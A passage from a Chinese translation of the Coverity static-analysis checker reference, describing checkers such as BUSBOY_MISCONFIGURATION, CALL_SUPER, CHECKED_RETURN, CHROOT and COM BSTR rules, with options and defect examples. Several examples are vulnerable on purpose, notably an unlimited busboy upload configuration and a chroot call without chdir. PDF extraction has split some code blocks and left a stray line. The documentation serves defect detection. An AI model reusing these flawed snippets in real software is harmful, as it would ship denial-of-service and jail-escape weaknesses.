4.32.1. 概述

支持的语言 : . C、C++、Objective-C、Objective-C++

请参阅 BUFFER_SIZE。

4.33. BUSBOY_MISCONFIGURATION

安全检查器

4.33.1. 概述

支持的语言 : . JavaScript、TypeScript

BUSBOY_MISCONFIGURATION 查找以下情况：其中 Express 应用程序的 busboy 插件被错误配置，可能会允许拒绝服务攻击。可能的错误配置包括：

- 上传请求中不受限制的文件字段和非文件字段的数量。文件字段由 files 属性指定，非文件字段由 fields 属性指定，多部分请求中文件字段和非文件字段的总数量可以使用 parts 属性指定。
- 上传文件的大小不限。上传文件的最大大小由 fileSize 属性指定。
- 将 preservePath 选项设置为 true 可以使用用户指定的路径存储这些文件。

默认禁用：BUSBOY_MISCONFIGURATION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 BUSBOY_MISCONFIGURATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.33.2. 示例

本部分提供了一个或多个 BUSBOY_MISCONFIGURATION 示例。

在下面的示例中，针对 busboy 插件的实例化显示了 BUSBOY_MISCONFIGURATION 缺陷，因为传递的选项不包含对文件字段或非文件字段数量的任何限制。

```
var express = require('express');
var router = express.Router();
var Busboy = require('busboy');

router.post('/', function(req, res) {
  var busboy = new Busboy({ // BUSBOY_MISCONFIGURATION defect
    headers: req.headers,
    limits: {
      fieldSize: 150,
      fileSize: 1024
    }
  });
  busboy.on('file', function(fieldname, file, filename, encoding, mimetype) {
    console.log('File [' + fieldname + ']: filename: ' + filename + ', encoding: ' +
      encoding + ', mimetype: ' + mimetype);
```

```
});
```

4.34. CALL_SUPER

质量检查器

4.34.1. 概述

支持的语言 : . C#、Java 和 Visual Basic

CALL_SUPER 可查找方法被覆盖，并且覆盖方法应该但实际上并未调用超类（对于 Java）或基类（对于 C# 和 Visual Basic）实现的很多情况。该检查器包含所有 overrider 应为其调用超类或基类实现的方法的内置列表。对于其他方法，它会通过统计分析正在接受分析的代码来推断要求。

默认情况下，如果指定方法有 65% 或更多的 overrider 调用基类，则所有非调用 overrider 都会被报告为缺陷。基类或超类实现通常包含必须执行以获得正确实现的必要功能。如果大部分 overrider 都调用基类或超类，则不执行调用的 overrider 可能存在错误。程序员可能忘了包括基类或超类调用。这可能导致难以诊断的错误和意外行为。

请注意，统计分析可能导致高误报率，具体取决于接受分析的应用程序。您可以增加阈值选项中的值，以便减少 Java、C# 或 Visual Basic 代码库中的某些误报。

在 Java 中，由于 `Object.clone` 的所有实现都需要调用 `super.clone()`，CALL_SUPER 会将缺少对 `super.clone()` 的调用报告为缺陷，无论统计阈值是什么。此外，如果对 `Object.finalize()` 的调用未调用 `super.finalize()`，该检查器也会报告缺陷。您可以通过 `CALL_SUPER:use_must_call_list:` 选项更改此设置。

默认启用：CALL_SUPER 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

Android (仅限 Java)：对于基于 Android 的代码，此检查器可查找与用户活动、屏幕活动、应用程序状态以及其他项目相关的问题。

4.34.2. 示例

本部分提供了一个或多个 CALL_SUPER 示例。

4.34.2.1. C#

在此示例中，`DerivedGood1::Foo` 和 `DerivedGood2::Foo` 都从 `Base` 中调用它们的基类实现，但 `DerivedBad::Foo` 不调用。由于超出了默认阈值（请参阅 `threshold` 选项），因此会针对 `DerivedBad::Foo` 报告缺陷。

```
using System;

class Base {
    public virtual void Foo() {
        Console.WriteLine("Doing something important");
    }
}
```

```

class DerivedGood1 : Base {
    public override void Foo() {
        base.Foo();
        Console.WriteLine("Something else important");
    }
}
class DerivedGood2 : Base {
    public override void Foo() {
        base.Foo();
        Console.WriteLine("Something else important");
    }
}
class DerivedBad : Base {
    //A CALL_SUPER defect.
    public override void Foo() {
        // Forgot to call base.Foo()!
        Console.WriteLine("Something else important");
    }
}

```

4.34.2.2. Java

在此示例中，CallSuperExample1::clone 不从 Object 调用其超类实现。在它尝试将其超类调用的结果转换为 Sub 的克隆时，这会导致在 Sub::clone 中出现无效的转换异常。在这种情况下，会针对 Sub::clone 报告缺陷。

```

public class CallSuperExample1 {
    @Override
    protected Object clone() throws CloneNotSupportedException {
        //missing super()
        return new CallSuperExample1();
    }

    class Sub extends CallSuperExample1 {
        int f;
        protected Object clone() throws CloneNotSupportedException {
            Sub s = (Sub) super.clone(); // Cast should succeed but does not.
            s.f = this.f;
            return s;
        }
    }
}

```

在此示例中，A::sample 和 B::sample 都从 CallSuperExample2 中调用它们的基类实现，但 C::sample 不调用。由于超出了默认阈值（请参阅 threshold 选项），因此会针对 C::sample 报告缺陷。

```

public class CallSuperExample2 {

    public void sample() {
        System.out.println("A sample method!");
    }
}

```

```

class A extends CallSuperExample2{
    public void sample() {
        super.sample();
    }
}

class B extends CallSuperExample2{
    public void sample() {
        super.sample();
    }
}

class C extends CallSuperExample2{
    public void sample() {
        //missing super()
        return;
    }
}

```

4.34.2.3. Visual Basic

在此示例中，DerivedGood1::Foo 和 DerivedGood2::Foo 都从 Base 中调用它们的基类实现，但 DerivedBad::Foo 不调用。由于超出了默认阈值（请参阅 threshold 选项），因此会针对 DerivedBad::Foo 报告缺陷。

```

Imports System
Class Base
    Public Overridable Sub Foo()
        Console.WriteLine("Doing something important")
    End Sub
End Class
Class DerivedGood1 : Inherits Base
    Public Overrides Sub Foo()
        MyBase.Foo()
        Console.WriteLine("Something else important")
    End Sub
End Class
Class DerivedGood2 : Inherits Base
    Public Overrides Sub Foo()
        MyBase.Foo()
        Console.WriteLine("Something else important")
    End Sub
End Class
Class DerivedBad : Inherits Base
    ' CALL_SUPER defect.
    Public Overrides Sub Foo()
        ' Forgot to call MyBase.Foo()
        Console.WriteLine("Something else important")
    End Sub
End Class

```

4.34.3. 选项

C#、Java 和 Visual Basic

本部分描述了一个或多个 CALL_SUPER 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- CALL_SUPER:report_empty_overrides:<boolean> - 当此选项被设置为 false (针对 C# 和 Visual Basic 的默认值) 时，该检查器不会针对包含空实现 (如同在 {} 中) 的方法报告缺陷，因为开发人员可能有意让该方法不调用超类。当该选项被设置为 true (针对 Java 的默认值) 时，会按与处理非空方法类似的方式处理空方法。默认值为 CALL_SUPER:report_empty_overrides:true (适用于 Java)。默认值为 CALL_SUPER:report_empty_overrides:false (适用于 C# 和 Visual Basic)。
- CALL_SUPER:threshold:<ratio> - 此选项可设置必须调用基类实现的方法 overrider 所占的最低比率，超过该值将针对不调用基类实现的方法 overrider 报告缺陷。对于 <ratio>，输入 0 到 1 之间的浮点数。默认值为 CALL_SUPER:threshold:.65 (适用于 C#、Java 和 Visual Basic)。

如果 cov-analyze 的 --aggressiveness-level 选项被设置为 medium (或 high)，此检查器选项会被自动设置为 .55。

此示例将比率更改为 .80：

```
-co CALL_SUPER:threshold:.80
```

- CALL_SUPER:use_must_call_list:<boolean> - 此选项决定 CALL_SUPER 是否使用其内置方法 (其超类实现必须从 overrider 中调用) 列表。对于 C#，此列表包括 Dispose、Close 和 System.Windows.Forms API 中的一些方法 (和调用基类实现的强烈建议记录在一起)。对于 Java，此列表包括 clone、finalize 和多个 Android API 方法。如果为 true，use_must_call_list 方法的任何 overrider 都应该调用超类实现，无论统计证据如何。默认值为 CALL_SUPER:use_must_call_list:true (适用于 C#、Java 和 Visual Basic)。

4.34.4. 注解

仅限 Java

对于 Java，CALL_SUPER 会查找 OverridersMustCall 和 OverridersNeedNotCall 注解 (您可以使用此类注解来显式标记带有适当行为的方法)。这些注解会覆盖该检查器使用的默认推断。

例如，下面的示例说明了如何注解 CallSuperExample3 类，以便 CALL_SUPER 检查器了解 sample() 的 overrider 必须调用超类实现：

```
import com.coverity.annotations.OverridersMustCall;

class CallSuperExample3 {
    @OverridersMustCall
    public void sample() {
        //Do something.
    }
}
```

```
// Despite the lack of statistical evidence,
// the previous annotation means that calling super is mandatory.
class OverridesMustCallExample extends CallSuperExample3 {
    @Override
    public void sample() {
        //Defect, missing call to superclass
    }
}
```

有关详细信息，请参阅 `<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html` 上的 Section 5.4.2, “添加 Java 注解以提高准确度” 和 Javadoc 文档。

4.34.5. 事件

C#、Java 和 Visual Basic

本部分描述了 CALL_SUPER 检查器生成的一个或多个事件。

- missing_super_call - 显示未能调用基类的 overrider 的第一个非注释行。
- called_super - 显示调用了基类的 overrider。最多针对上下文显示五个 called_super。
- superclass_implementation - 显示基类实现的本体，帮助确定是否应调用超类。

4.35. CHAR_IO

质量检查器

4.35.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

CHAR_IO 可在其中一个 stdio 函数或 wchar_t 函数 (getwc、getwchar、fputwc 等) 的调用的返回值被错误赋值给 char 型变量而不是 int 型变量时报告缺陷。这些函数的返回值不应该被赋值给 char 或 wchar_t。此类赋值通常会导致程序混淆某些输入字符和文件结尾标记 (EOF)，从而导致输入数据损坏。

该检查器可分析返回 int 值而不是 char 值的函数 fgetc、getc、getchar 和 istream::get()。

将 int 值赋值给 char 变量会截断该值。如果 char 变量无符号，int 值的低位 8 位将被放到 char 变量中（如果 int 值为非负数，这将是求模运算）。如果 int 值为 -1，-1 表示的低位 8 位将被放到 char 变量中（这会得到值 255）。如果 char 变量带符号，-1 的 int 值在 char 变量中仍是 -1，但任何大于 127 的 int 值在 char 变量中会变成负值。使用带符号的 char 变量也是不安全的。离散 0xFF 字节（ISO-8859-1 编码中的ÿ字符）将导致程序错误地认为已到达 EOF。C 标准要求向此类函数传递 -1 到 255 范围内的整数。带符号的 char 变量可能具有最低 -128 的值。

默认启用：CHAR_IO 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2, “启用和禁用检查器”。

4.35.2. 示例

本部分提供了一个或多个 CHAR_IO 示例。

下面的示例展示了赋值给 char 变量的 `getchar()` 函数的返回值。

```
int char_io() {
    char c;
    c = getchar(); // Returns an int value to c, which is a char
}
```

下面的示例展示了赋值给 `wchar_t` 变量的 `getwchar()` 函数的返回值。

```
void fnw() {
    wchar_t wc;
    wc = getwchar(); // char_io
}
```

4.35.3. 事件

本部分描述了 CHAR_IO 检查器生成的一个或多个事件。

- `char_io` : 表明将 int 值赋值给 char 变量。

4.36. CHECKED_RETURN

质量检查器

4.36.1. 概述

支持的语言 : C、C++、Go、Java、Objective-C、Objective-C++

CHECKED_RETURN 可查找忽略了应该检查的函数返回值的很多情况。例如，它可以检测代码忽略处理系统调用返回的错误代码的情况。这是一个统计类型的检查器：它根据使用模式确定应检查哪些函数。对于这个检查器，您建立的模式是函数的返回值被检查的次数与该函数被调用的总次数之间的比值。

您可以生成用于存储关于每个函数返回值检查次数百分比的信息的文件

(`<intermediate_directory>/output/checked-return.csv`)，方法是在运行此检查器时使用 cov-analyze 的 `--enable-callgraph-metrics` 选项。此信息可帮助您了解统计检查器在本机构建中报告的缺陷不同于在完全构建中报告的缺陷的情况。

请注意，与 USELESS_CALL 分析不同，CHECKED_RETURN 分析通常关注具有其他作用的函数。此外，CHECKED_RETURN 会检查返回值的使用方式，与之不同，USELESS_CALL 可能在使用返回值时报告缺陷。最后，CHECKED_RETURN 只适用于标量返回类型（另请参阅 NULL RETURNS）。

默认启用：CHECKED_RETURN 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

对于 C/C++

CHECKED_RETURN 检查器可查找关于函数返回值处理方式不一致的情况。例如，它可以检测代码忽略处理系统调用返回的错误代码而该代码在其他位置确实检查的情况。

忽略返回的函数错误代码并假设运算成功可能导致不正确的程序行为，在某些情况下还可能导致系统崩溃。抑制返回的函数错误代码的唯一方法是将调用的函数结果转换为 `void`。

对于以下函数（从面向字节的输入中读取数据，并将其存储到缓冲区中，然后返回已复制到缓冲区中的字节数或者负值），如果未使用返回的值或未将其与 0 进行比较，CHECKED_RETURN 也会报告问题。在此类情况下，缓冲区可能会被越界访问，此时已通过读取操作复制了数据。

- `size_t read(int fd, void *buf, size_t count);`
- `size_t fread(void *buf, size_t size, size_t count, FILE *fp);`

示例：

```
int f(int fd)
{
    char buf[10];
    if (read(fd, buf, 10) < 0)
        return -1;
    return buf[9];
}
```



Note

CHECKED_RETURN 检查器不检查被用作函数参数的重载比较运算符（例如 != 运算符）。

对于 Java

Java 方法通常会抛出异常，以表明存在错误，但程序员偶尔会使用返回值表明特殊情况。CHECKED_RETURN 是一种统计检查器，用于确定是否应在每次调用后测试方法的返回值。

此 CHECKED_RETURN 可执行以下操作：

- 为每个返回原语值的方法检查调用位置数量（有关默认方法，请参阅下文）。
- 计算检查返回值的次数。

如果已检查的调用位置与总调用位置的比率超过 80%（可通过 `stat_threshold` 选项更改），则会针对需要检查（其中值未检查或完全未使用）的方法的调用位置报告缺陷。

默认情况下，CHECKED_RETURN 会检查以下方法：

- `java.io.InputStream`
 - `read()`
 - `read(byte[])`
 - `read(byte[], int, int)`
 - `skip(long)`
- `java.io.Reader`
 - `read()`
 - `read(char[])`
 - `read(char[], int, int)`
 - `read(java.nio.CharBuffer)`
 - `skip(long)`

对于以下方法（从面向字节的输入中读取数据，并将其存储到缓冲区中，然后返回已复制到缓冲区中的字节数或者负值），如果未使用返回的值或将之与 0 进行比较，CHECKED_RETURN 也会报告问题。在此类情况下，缓冲区可能会被越界访问，此时已通过读取操作复制了数据。

- int InputStream.read(byte[] buf);
- int InputStream.read(byte[], int offset, int count);
- 对之前方法的任何覆盖。

示例：

```
int f(InputStream is) throws IOException
{
    byte buffer[] = new byte[10];
    // Number of copied bytes is ignored
    if (is.read(buffer, 0, 10) < 0) {
        return -1;
    }
    // 'buffer' may be accessed out of range.
    return buffer[9];
}
```

4.36.2. 示例

本部分提供了一个或多个 CHECKED_RETURN 示例。

4.36.2.1. C/C++

在下面的示例中，在调用 function_with_error_code 时四个函数 (good_function_n) 测试了返回值。最后，函数 bad_function 未检查 function_with_error_code 的返回代码。

这意味着示例中 80% 的代码未检查函数结果。默认情况

下，CHECKED_RETURN:stat_threshold:<percentage> 选项被设置为 80%，作为 CHECKED_RETURN 检查所有检查返回值的代码的阈值。因此，它将报告 bad_function 的缺陷，因为该函数不检查 function_with_error_code 的返回值，从而违反了整个代码的使用模式。

```
void good_function_1() {
    int rv = function_with_error_code();
    if (rv == -1)
        handle_error();
}

void good_function_2() {
    if (function_with_error_code())
        handle_error();
}

void good_function_3() {
    int rv = function_with_error_code();
    if (rv < 0)
        handle_error();
```

```

        handle_error();
}

void good_function_4() {
    int rv = function_with_error_code();
    if (rv < 0)
        handle_error();
}

void bad_function() {
    // Defect: Function return code is usually checked.
    function_with_error_code();
}

```

4.36.2.2. Java

如果 `needsChecking()` 的已检查调用位置与总调用位置的比率大于 80，下面的示例会生成缺陷：

```

needsChecking();           //Result not captured

int v1 = needsChecking(); //Defect: v1 is not checked

```

4.36.2.3. Go

如果 `needsChecking()` 的已检查调用位置与总调用位置的比率大于 80，下面的示例会生成缺陷：

```

needsChecking();           //Result not captured

v1 := needsChecking();   //Defect: v1 is not checked

```

4.36.3. 选项

本部分描述了一个或多个 `CHECKED_RETURN` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `CHECKED_RETURN:error_on_use:<boolean>` - 当此选项被设置为 `true` 时，该检查器会将在未首先检查某个函数的返回值的情况下将该值传递给另一个函数的参数视为缺陷（如果该检查器断定第一个函数的返回值被假设已检查）。默认值为 `CHECKED_RETURN:error_on_use:false`

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `medium`（或 `high`），则该检查器选项会自动设置为 `true`。

如果指定了此选项，下面示例中的第二种情况将被标记为缺陷：

```

// Usual:
int rv = foo();
if(rv)
    return rv;

```

```
// Defect case:  
int rv = foo();  
bar(rv);  
//or:  
//bar(foo());
```

- CHECKED_RETURN:stat_threshold:<percentage> - 此选项将调用位置的百分比设置为必须检查返回值以便统计分析断定应该检查所有调用位置的函数。该百分比表示将“错误”代码（未检查的函数返回值）标记为缺陷需要的“正确”代码（即检查函数返回值时）的比例。例如，stat_threshold:85 表示当 85% 的函数返回值得到检查时，此检查器会将未检查的返回值标记为缺陷。默认值为 CHECKED_RETURN:stat_threshold:80

如果 cov-analyze 的 --aggressiveness-level 选项被设置为 medium（或 high），此检查器选项会被自动设置为 55。

下面的示例需要检查方法 90% 的返回值才会报告缺陷。

```
-co CHECKED_RETURN:stat_threshold:90
```



Note

在插入原语的代码中找到的缺陷（请参阅示例：插入原语 [p. 88]）不受 stat_threshold 选项的影响。

4.36.4. 注解和原语

仅限 C/C++

您可以插入以下原语，指明应该始终检查函数的返回值（而不是进行统计推断）。该原语将要求检查由位于其执行路径中的函数返回的所有值。

```
void __coverity_always_check_return__();
```

下面的示例展示了如何插入原语，在 always_check_me() 调用上报告了缺陷，原因是未实际检查该值：

```
int always_check_me(void) {  
    __coverity_always_check_return__();  
    return rand() % 2;  
}  
  
int main(int c, char **argv) {  
    always_check_me();           // CHECKED_RETURN defect  
    cout << "Hello world" << endl;  
}
```

仅限 Java

对于 Java，CHECKED_RETURN 可识别以下注解：

- @CheckReturnValue

您可以使用 `CheckReturnValue` 注解指明应始终检查方法的返回值。

例如，下面的注解指示 `CHECKED_RETURN` 始终检查 `annotRv` 的返回值：

```
import com.coverity.annotations.CheckReturnValue;
...
@CheckReturnValue
public int annotRv() {
    return b ? 0 : -1;
}
```

有关详细信息，请参阅 `<install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html` 上的 Section 5.4.2，“添加 Java 注解以提高准确度”和 Javadoc 文档。

4.36.5. 事件

本部分描述了 `CHECKED_RETURN` 检查器生成的一个或多个事件。

- `check_return` - 发现返回了必须检查的值的函数。随后跟踪该值以查看是否执行了检查。
`check_return` - 在未检查返回值的情况下调用了方法。
- `example_checked` - 检查了方法返回值。
- `unchecked_value` - 未正确检查返回值。如果根本未捕获返回值，在未先执行检查的情况下将返回值作为参数传递给第二个参数，或者捕获了返回值，但未在持有该返回值的变量离开范围之前对其进行检查，则此事件可能就会发生。

4.37. CHROOT

质量、安全检查器

4.37.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`CHROOT` 可查找应用程序可能突破 `chroot()` jail 限制并修改文件系统的很多情况。要创建安全的 `chroot jail`，必须在 `chroot` 之后立即调用 `chdir`，以关闭使用工作目录相对路径的漏洞。此检查器会报告缺少 `chdir` 调用的情况。

`jail` 是文件系统的特定部分，其中 `chroot()` 系统调用可限制程序的范围。在调用了 `chroot("dir")` 之后，程序对 `/` 的访问权限被映射到基础文件系统中的 `"dir"`。此外，作为安全措施，程序对该目录中父目录 (`".."`) 的访问权限会被重定向，以便程序不会超出 `chroot jail` 的限制。即使程序随后遭到攻击，攻击者也无法获取位于 `jail` 之外的文件系统的访问权限。

默认禁用：`CHROOT` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

安全检查器启用：要与其他安全检查器一起启用 `CHROOT`，请在 `cov-analyze` 命令中使用 `--security` 选项。

4.37.2. 示例

本部分提供了一个或多个 CHROOT 示例。

下面的示例生成了缺陷，因为依次调用 chroot() 和 open() 很容易突破 chroot() jail 的限制。在参数列表中包含 fd 的原因是为了阻止 Analyzer 发出其他错误。

```
char * read_from_network();
int chroot( char *);
int open (char * path, int mode);

void chroot_example(int *fd)
{
    char *filename;
    chroot("/var/ftp/pub"); //#defect#CHROOT
    filename = read_from_network();
    *fd = open(filename, 0);

}
```

4.37.3. 事件

本部分描述了 CHROOT 检查器生成的一个或多个事件。

- chroot_call : 调用了 chroot()。
- chroot : 在调用 chroot() 之后以及调用 chdir("/") 之前执行了不安全的操作。

4.38. COM.ADDROF_LEAK

质量、COM 检查器

4.38.1. 概述

支持的语言：. C++

COM.ADDROF_LEAK 可找出使用可能导致内存泄漏（原因是实例的内部指针的值可以通过指针地址修改）的 CComBSTR 或 CComPtr 实例的情况。

该检查器可跟踪在管理非 null 指针时确定的本地非静态 CComBSTR 和 CComPtr 变量。当指针的地址（通过重载运算符 address-of (&) 获取）被作为参数传递给函数调用时，指针值可能会被重写，进而导致内存泄漏。

默认禁用：COM.ADDROF_LEAK 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

4.38.2. 示例

本部分提供了一个或多个 COM.ADDROF_LEAK 示例。

下面显示了有关 CComBSTR 对象的典型示例：

```

class Customer
{
public:
    void getName(BSTR* pName) const
    {
        // The value of '*pName' is overwritten.
        *pName = ::SysAllocString(name_);
    }
    LPCOLESTR name_;
};

CComBSTR getCustomerName(const Customer& customer)
{
    CComBSTR name;

    // (1) Memory is allocated for a copy of the string literal and
    // hold through a pointer internal to the 'name' variable.

    name = L"Unknown";

    // (2) The overloaded operator address-of (CComBSTR::operator &) returns
    // the address of the internal pointer and the value of the pointer
    // is overwritten during the call to Customer::getName().
    // The memory allocated during the construction of the object in (1) will
    // never be deallocated and is therefore leaked.

    customer.getName(&name);

    return name;
}

```

4.38.3. 选项

本部分描述了一个或多个 COM.ADDROF_LEAK 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- COM.ADDROF_LEAK:report_ccomptr:<boolean> - 如果此选项被设置为 true，则会报告 CComPtr 对象上发生的泄漏。默认值为 COM.ADDROF_LEAK:report_ccomptr:false

4.39. COM.BAD_FREE

质量、COM 检查器

4.39.1. 概述

支持的语言：. C++

COM.BAD_FREE 可查找代码违反关于接口指针生命周期管理的 Microsoft COM 接口约定的很多情况。COM 规定此类管理应该通过在每个 COM 接口中找到的 AddRef 和 Release 方法来完成。通

过显式释放接口指针来避免引用计数机制是错误做法，这是因为其他客户端可能会共享同一对象的所有权。COM.BAD_FREE 检查器可查找有关此类显式释放的很多情况。

显式释放 COM 接口的指针可能会将悬挂指针留给实例的其他所有者。这可能导致释放后继续使用内存错误，包括内存损坏和崩溃。

默认启用：COM.BAD_FREE 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.39.2. 示例

本部分提供了一个或多个 COM.BAD_FREE 示例。

显式释放接口指针：

```
void test () {
    IUnknown* p = new CFoo;
    delete p; // explicit free
}
```

4.39.3. 事件

本部分描述了 COM.BAD_FREE 检查器生成的一个或多个事件。

- assign：通过一个 COM 对象或另一个对象的接口为指针指定别名。
- free：显式释放了 COM 对象或接口。

4.40. COM.BSTR.ALLOC

质量、COM 检查器

4.40.1. 概述

支持的语言：. C++

COM.BSTR.ALLOC 可查找违反相关 COM 接口约定（针对类型为 BSTR 或 BSTR* 的参数的内存分配）的很多情况。COM 定义了用于指定 COM 函数调用之间的分配行为的内存管理规则。如果不注意这些规则，可能导致释放后继续使用和资源泄漏错误，而此类错误则可能导致内存损坏和崩溃。在不遵守关于 in、out 和 in/out 参数的常规约定的代码库中，该检查器可能会产生很多误报。

适用于 BSTR、通过此检查器跟踪的原语分配器和释放器：

- 分配器

- BSTR SysAllocString(const OLECHAR *sz);
- BSTR SysAllocStringByteLen(LPCSTR psz, unsigned int len);。
- BSTR SysAllocStringLen(const OLECHAR *pch, unsigned int cch);

- 重新分配器

- INT SysReAllocString(BSTR *pbstr, const OLECHAR *psz); cch);
- INT SysReAllocStringLen(BSTR *pbstr, const OLECHAR *psz, unsigned int cch);
- 释放器
 - VOID SysFreeString(BSTR bstr);

默认禁用 : COM.BSTR.ALLOC 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

4.40.2. 示例

本部分提供了一个或多个 COM.BSTR.ALLOC 示例。

在下面的示例中， myString 未能释放 s 的内存：

```
#include "basics.h"

namespace my_com_bstr {
    void myString()
    {
        BSTR s = SysAllocString(L"hi");
        SysStringLen(s);
    } // Defect: exits without freeing memory
}
```

在下面的示例中， f 返回了已释放的内存：

```
#include "basics.h"
namespace test_inout_f {
    struct A {
        void f(BSTR *s);
    };

    void A::f(/*[in][out]*/ BSTR *s)
    {
        SysFreeString(*s);
    } // Defect: returns freed memory
}
```

4.40.3. 事件

本部分描述了 COM.BSTR.ALLOC 检查器生成的一个或多个事件。

- alloc_call : 分配了值。
- assign : 将一个值赋值给另一个值。

- `free` : 释放了值。
- `free_freed` : 当已释放的值被再次释放时报告缺陷。
- `free_not_owner` : 当另一个实体拥有的值 (例如存储在最终会将其释放的结构中的值) 被释放时报告缺陷。
- `free_uninit` : 当未初始化的值被释放时报告缺陷。
- `init_param` : 参数的声明。
- `init_ptr_param` : 指针参数的声明。
- `transfer` : 值的所有权被转移给将会在超出范围时释放该值的另一个实体 (例如数据结构) 。
- `leak` : 当资源泄漏 (即未被释放) 时报告缺陷。
- `transfer_not_owner` : 当值的所有权通过不拥有该值的实体转移时报告缺陷。
- `use` : 使用值。
- `use_freed` : 当使用已释放的值时报告缺陷。
- `use_uninit` : 当使用未初始化的值时报告缺陷。
- `yield_freed` : 当获得了已释放值的所有权时报告缺陷。
- `yield_not_owner` : 当不拥有值的实体获得其所有权时报告缺陷。
- `yield_uninit` : 当获得了未初始化值的所有权时报告缺陷。

4.41. COM.BSTR.BAD_COMPARE

质量、COM 检查器

4.41.1. 概述

支持的语言 : . C++

`COM.BSTR.BAD_COMPARE` 可报告比较使用关系运算符 `>`、`<`、`>=` 和 `<=` 的 BSTR 型表达式的情况。如果其中一个操作数是 BSTR 或者两者都是 BSTR，则此类比较会被视为缺陷。使用这些运算符的问题在于，关系比较仅对指向同一对象的指针有效，但每个 BSTR 都是一个独立的对象，而且 BSTR 指针总是指向该对象内的同一位置。因此，如果两个 BSTR 不相等，则此类比较在技术上是未定义行为，而在实际中则难以测试哪个更“大”。

虽然从技术角度看 BSTR 属于指针，但通常应该将其视为 `opaque` 类型，并且 `==` 和 `!=` 是唯一有效的比较。

默认禁用：`COM.BSTR.BAD_COMPARE` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

4.41.2. 示例

本部分提供了一个或多个 COM.BSTR.BAD_COMPARE 示例。

在下面的示例中，将两个 BSTR 变量与 < 运算符进行了比较：

```
void f(BSTR b1, BSTR b2) {
    if (b1 < b2) { // defect
    }
}
```

在下面的示例中，将两个 BSTR 表达式与 < 运算符进行了比较：

```
void f(wchar_t *w1, BSTR b2) {
    static int nothing;
    if (w1 < (nothing++, b2)) { // defect
    }
}
```

4.41.3. 选项

本部分描述了一个或多个 COM.BSTR.BAD_COMPARE 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- COM.BSTR.BAD_COMPARE:arith_yields_wchar_t:<boolean> - 如果此选项被设置为 true，该检查器会将 BSTR 的所有表达式 + <i> 和整数 <i> 视为具有类型 wchar_t*（而不是 BSTR），这意味着该检查器将减少报告的缺陷数。默认值为 COM.BSTR.BAD_COMPARE:arith_yields_wchar_t:false

4.41.4. 事件

本部分描述了 COM.BSTR.BAD_COMPARE 检查器生成的一个或多个事件。

- bad_compare - 将每个缺陷比较报告为错误。

4.42. COM.BSTR.CONV

质量、COM 检查器

4.42.1. 概述

支持的语言：. C++

COM.BSTR.CONV 可查找诸如未声明为具有类型 BSTR 的项被转换为声明为具有类型 BSTR 的项这样的很多情况。此类转换构成问题，因为 BSTR 具有普通 wchar_t* 没有的特殊结构。

例如，假设 wchar_t* w1 指向字符串 L"hello"。w1 和 BSTR b1 对于同一字符串并不等效，因为 BSTR 要以该字符串的长度（以字节为单位）作为前缀，而 wchar_t* 指向的内存的内

容则不需要。在此示例中，`*b1` 以整数 10 (`5*2`) 作为前缀，而 `*w1` 则以任意数据作为前缀。因此，`COM.BSTR.CONV` 检查器会将赋值 `BSTR b2 = w1;` 报告为错误转换。

如果假设 `BSTR` 的接收方将其视为 `BSTR`，而不是 `wchar_t` 的数组，错误转换可能导致崩溃。例如，如果接收方调用 `SysStringLen`，它会检查位于 `wchar_t` 数组之前的不可预测值的四个字节。当它尝试将这些类型解释为长度时，接收方可能会崩溃。COM marshaller 就是此类接收方之一，它隐式地参与所有跨单元、进程或机器边界的 COM 调用。

误报的主要来源是多态性：当使用单个类型持有不同种类的值时。例如，如果 `BSTR` 通过 Windows 消息队列传递，它会在某个时间转换为 `WPARAM` 或 `LPARAM`。当它被重新转换回 `BSTR` 时，`COM.BSTR.CONV` 检查器将报告缺陷。

默认启用： `COM.BSTR.CONV` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.42.2. 示例

本部分提供了一个或多个 `COM.BSTR.CONV` 示例。

```
// some COM interface
struct IWhatever {
    virtual HRESULT foo(BSTR /*[in]*/ s);
};

void has_a_bug(IWhatever *w)
{
    wchar_t *ordinary_string = L"not a BSTR";
    w->foo(ordinary_string);      // bug
}
```

在此示例中，普通宽字符常数值字符串被作为 `BSTR` 对象传递。如果 `w` 引用（通过代理）不在同一 COM 线程单元中的对象，COM 基础结构会尝试通过读取长度前缀封送该字符串，这会产生无法预测的影响。

4.42.3. 选项

本部分描述了一个或多个 `COM.BSTR.CONV` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `COM.BSTR.CONV:report_bstr_arith:<boolean>` - 如果此选项为 `true`，该检查器会认为 `BSTR` 表达式中的算术运算将产生 `wchar_t*` 类型的结果，这意味着该检查器将报告更多缺陷。如果得到的指针仅通过非常有限的方式使用，但这仍然是有问题的做法，额外的缺陷会被视为误报。默认值为 `COM.BSTR.CONV:report_bstr_arith:false`

